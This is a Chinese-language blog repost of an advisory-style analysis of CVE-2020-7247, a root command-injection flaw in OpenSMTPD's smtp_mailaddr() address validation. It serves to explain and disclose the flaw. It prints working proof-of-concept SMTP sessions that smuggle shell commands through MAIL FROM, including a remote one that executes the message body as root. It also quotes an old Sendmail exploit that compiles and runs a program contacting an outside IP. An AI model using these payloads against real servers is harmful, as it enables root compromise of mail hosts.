CVE-2020-7247:OpenSMTPD安全漏洞

2020-02-05 约 390 字 预计阅读 2 分钟

声明:本文 【CVE-2020-7247:OpenSMTPD安全漏洞】 由作者 angel010 于 2020-02-05 09:27:09 首发 先知社区 曾经 浏览数 124 次

感谢 angel010 的辛苦付出!

研究人员在OpenBSD的邮件服务器OpenSMTPD中发现了一个安全漏洞。该漏洞从2018年5月开始就可以利用了,攻击者利用该漏洞可以以root权限执行任意shell命令:

  • 在本地以OpenSMTPD默认配置执行,默认配置会监听loopback接口,并从localhost接收邮件;
  • 在本地或者远程以OpenSMTPD未注释的默认配置执行,默认配置会监听所有的接口并接收所有外部邮件。

研究人员开发了一个简单的PoC,并在OpenBSD 6.6和Debian (Bullseye)测试版本进行了测试,研究人员认为其他版本和发布版本也可以被利用。

漏洞分析

研究人员分析发现漏洞的根源在于OpenSMTPD的smtp_mailaddr()函数,该函数负责验证发送者(MAIL FROM)和接收者(RCPT TO)的邮件地址:

2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2234                 return (0);
2235         }
2236 
2237         return (1);
2238 }
  • 调用valid_domainpart()来验证邮箱地址的域名,该函数只接收IPv4和IPv6地址、字母数字、.-_字符;
  • 调用valid_localpart()来验证邮箱地址的本地部分,该函数只接收字母数字、.MAILADDR_ALLOWED字符(RFC 5322的白名单):
#define MAILADDR_ALLOWED        "!#$%&'*/?^`{|}~+-=_"

MAILADDR_ALLOWED的字符串中,同时位于MAILADDR_ESCAPE的部分之后会被mda_expand_token()转变成为:字符:

#define MAILADDR_ESCAPE         "!#$%&'*?`{|}~"

smtp_mailaddr()的白名单和mda_expand_token()的逃逸对OpenSMTPD的安全性都是很基本的,可以防止危险字符串到达执行MDA命令的shell中:

execle("/bin/sh", "/bin/sh", "-c", mda_command, (char *)NULL,
            mda_environ);

Mail Delivery Agents (MDAs)负责传递邮件到本地接收者,比如OpenSMTPD的默认MDA方法是mbox,对应的MDA命令是:

asprintf(&dispatcher->u.local.command,
            "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

%{user.username}是现有的本地用户名(接收者地址的本地部分),%{mbox.from}是发送者地址(发送者地址如果不在smtp_mailaddr()的白名单和mda_expand_token()的逃逸部分,就位于攻击者的完全控制之下)。

研究人员在smtp_mailaddr()函数中发现了一个漏洞——(CVE-2020-7247):

------------------------------------------------------------------------------
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236 
2237         return (1);
2238 }

如果地址的本地部分是无效的(2218行),如果域名的空的(2229行),然后smtp_mailaddr()会自动添加默认域名(2230行)并返回1(2232行),虽然应该返回的是0,因为地址的本地部分应该是无效的。

因此,攻击者可以传递不在MAILADDR_ALLOWEDMAILADDR_ESCAPE中的危险字符到执行MDA命令的shell。比如,下面的本地SMTP会话就在OpenSMTPD的默认配置下以root执行sleep 66

------------------------------------------------------------------------------
$ nc 127.0.0.1 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you
MAIL FROM:<;sleep 66;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

How about a nice game of chess?
.
250 2.0.0 e6330998 Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------

漏洞利用

但是通过发送者地址的本地部分执行任意shell命令的能力是有限的:

  • 虽然OpenSMTPD比RFC 5321的限制要少一些,本地部分的最大部分应该不超过64个字符;
  • MAILADDR_ESCAPE中的字符就会转成:字符。

为了克服这些限制,研究人员从https://spaf.cerias.purdue.edu/tech-reps/823.pdf 处获得了灵感,其中通过以shell脚本的形式执行邮箱的主体部分来利用Sendmail的DEBUG漏洞:

------------------------------------------------------------------------------
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data

cd /usr/tmp
cat > x14481910.c <<'EOF'
[text of vector program]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c

.
quit
------------------------------------------------------------------------------

事实上,MDA命令的标准输入是邮件自身:"sed"移除了header,"/bin/sh"执行了body部分。
研究人员不能重用该命令,但研究人员使用"read"来移除N header行,并将N个注释行前加"NOP slide"到邮件的body部分。比如,下面的远程SMTP session以root的形式在OpenSMTP的未注释的默认配置中执行了邮件的body:

------------------------------------------------------------------------------
$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------

https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now